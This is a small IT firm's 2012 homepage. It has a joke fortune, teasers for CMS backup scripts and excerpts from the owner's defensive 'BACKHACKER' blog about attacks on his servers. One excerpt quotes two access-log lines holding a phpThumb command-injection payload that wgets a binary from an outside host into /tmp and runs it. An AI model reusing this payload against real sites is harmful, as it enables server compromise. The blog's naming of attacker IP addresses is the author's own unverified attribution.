Happy Cat Technologies welcomes you to it's business web site. We look forward to new clients and exciting projects for 2012. Always remember that help is a phone call away, and we'll try to get you purring again as soon as possible.  For January 2012, we continue the exciting BACKHACKER Blog as time permits, and hopefully find time to do some coding on the Shape from Shading GIMP Plug-in. So let a prosperous New Year begin!

Alfred P. Reaud, Proprietor, Happy Cat Technologies.

WELCOME!

Geek Fortune Of The Day

“Trailing Edge Technologies is pleased to announce the following
TETflame programme:

1) For a negotiated price (no quatloos accepted) one of our flaming
   representatives will flame the living shit out of the poster of
   your choice. The price is inversly proportional to how much of
   an asshole the target it. We cannot be convinced to flame Dennis
   Ritchie. Matt Crawford flames are free.

2) For a negotiated price (same arrangement) the TETflame programme
   is offering ``flame insurence''. Under this arrangement, if
   one of our policy holders is flamed, we will cancel the offending
   article and flame the flamer, to a crisp.

3) The TETflame flaming representatives include: Richard Sexton, Oleg
   Kisalev, Diane Holt, Trish O'Tauma, Dave Hill, Greg Nowak and our most
   recent acquisition, Keith Doyle. But all he will do is put you in his
   kill file. Weemba by special arrangement.”

Richard Sexton

LATEST CONTENT

Restoring the whole site

Restoring the whole site to a working state from an online site to a testing server, or from a testing server to an online site is a bit trickier. One has to account for differences in the server configurations. This leads to the locking of certain files on both the testing server and online server so that accidental updating doesn't occur. These files are usually the CMS configuration file, and .htaccess in the document root.

Hence in the following script, areas are left out that would be too specific to certain installations to be generically useful.

full_site_restore.sh

Backing up the whole site

The following script integrates backing up the database with backing up the site code. Please note that descriptions place-hold for actual values in the script. Those actual values must be edited in, depending on your site configuration, for the script to work.

This script is adapted from the updated fullsitebackup.sh script created by Bristolguy on Drupal.org. This script is currently operational on Fedora 14, and has not been tested on other versions of Linux.

full_site_backup.sh

Backing up the CMS Database

The CMS database is the heart of any content management system. It's loss or damage will result in the loss and or damage of all of your hard work, and that of your commentators, posters, and contributors. Below, are two scripts that complement each other, one backs up the database into a SQL file, the other restores it from a SQL file.

This script also allows porting between a testing server and the on-line site. In the script is a test for a folder called testing.server, discussed in the first page of this series, which differentiates between the server on-line and the testing server.

backup_db.sh

Content Management System Backup Scripts

Your content management system (CMS), and more importantly it's associated database tables, are subject to damage and attack. While most hosting providers provide daily backups, there are other tasks that necessitate tasks similar to backing up a CMS site.

BACKHACKER BLOG - Very Quiet on the Server Front

Unusually so, actually. Some of the methods may be working. Attack vectors cycle through periodically, some brute forcing the root, some brute forcing non-existent accounts. I still haven't figured out how to trap the password strings coming in on the brute forcing. Majority of attacks last week from CN, then US.

The activity has changed to the on-line servers, where I occasionally get DOS attacks. The GoDaddy servers throttle down if they sense one going on, but sometimes mistake valid activity for a DOS attack. All that takes latency to a 3-7 second level, which is OK as long as it stays on the lower end.

A new tool that I'm learning is Metasploit. An excellent penetration testing tool, but with a fairly steep learning curve. Maybe one of these days I'll make enough money to buy the pro version…

BACKHACKER BLOG - Disecting a Spoof Craigs List Email

Today's blog entry will cover a little live action. This is a continuation of the attacks from French domains. Contrary to popular belief, all online attacks DO NO ORIGINATE FROM CHINA!

Following the reciept of the following, I examined the email in detail (clicking on the image opens a full size image in another tab or window).

Craigs List phishing email attempting to get your login.

The most important above is that when you hover over the link, you can see in the status bar

BACKHACKER BLOG - Punishment DDOS attacks on online server

Attacks have ceased pretty much on the testing server, but I must have pissed somebody off last night. WOOT!

DDOS attacks started in the late evening, starting probably around 21:00 through at least probably midnight. Can't actually tell because I can't access the httpd logs. The positive note is this lead to me asking GoDaddy where the httpd logs are, something I wasn't aware of (in FTP Manager). Bluehost allow access to the server logs, but Yahoo did not when I used them. It's a virtual machine so the logs don't compromize any hosting provider confidential data...

The offending IP addresses were:

  • 91.121.170.124 - FR, I know the bot-net there, and they have been getting inverse “Pavolovian Dog” training. I am almost willing to bet the control node resides in this general IP area,

BACKHACKER BLOG - Rise of the Machine. A week of wetware against bots...

A very interesting week in the wetware vs. botware wars. Patterns and common vulnerabilities are starting to come out of obscurity. New attack vectors have presented themselves. Indeed exciting times, LOL.

One of the most interesting, attack wise, comes from France and Malaysia. It appears to be a CMS scan, but I don't believe it is. There are embedded bash shell commands in the query string that are directed at specific sites that aren't my IP. I've included two samples below:

 161.139.195.191 - - [23/Dec/2011:02:53:21 -0700] "GET /wp-content/plugins/com-resize/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20
-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk/barbut6;c
hmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 404 3602

161.139.195.191 - - [23/Dec/2011:02:53:19 -0700] "GET /admin/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]
=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk
/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 403 14168

Don't waste your time, folks, I penetration test my own systems regularly for weaknesses,

BACKHACKER BLOG - Persistent attacks from one IP in India

Today's memorable entry is from Trivandrum Kerala, India, in the State of Delhi: 117.243.250.249

They are memorable because for some reason fail2ban didn't trap them. So they got to attack the shell 495 times instead on the nominal five. Zenmap indicates an unusual setup, with some open ports that are normally filtered, and things not normally seen, such as ipp, wpgs, route, and sip. An unknown port is open at 20717.

Openvas reports 14 low level weaknesses,  with a server running at port 631. The interpretation of that is that the hacking is intentional, because without weakness present, it somewhat eliminates unintentional bots, as with the Church last week. Most of the systems examined so far have certain weaknesses present, such as http TRACE. This IP is clean of even moderate weaknesses.

Makes one wonder why they waste their

BACKHACKER BLOG - Sea Change in Attack Vectors

There's been a sea change in the attack vectors coming into the testing server, and some interesting characters.

For approximately two weeks, we've been subject to "IP Agile" attacks. The term "IP Agile" is something borrowed from a piece of high end R&D lab equipment, a Fluke frequency-agile signal generator. The "IP Agile" attackers use numerous IP addresses that repeat only occasionally over a span of hours, evading tools like fail2ban. There also seems to be a specific cycle through countries, China, Brazil, Japan, EU (UK or France),  Taiwan, then repeating, though I don't yet have enough data.

This set of attackers seems to be hitting mail servers and phone branch exchange (PBX) servers mostly. Found a great site at a church in Lafayette, IN that had their website infested. The trick was that you only saw the spam if you had javascripts disabled. Called them up and spoke to a parishioner manning the phones, and followed

Syndicate content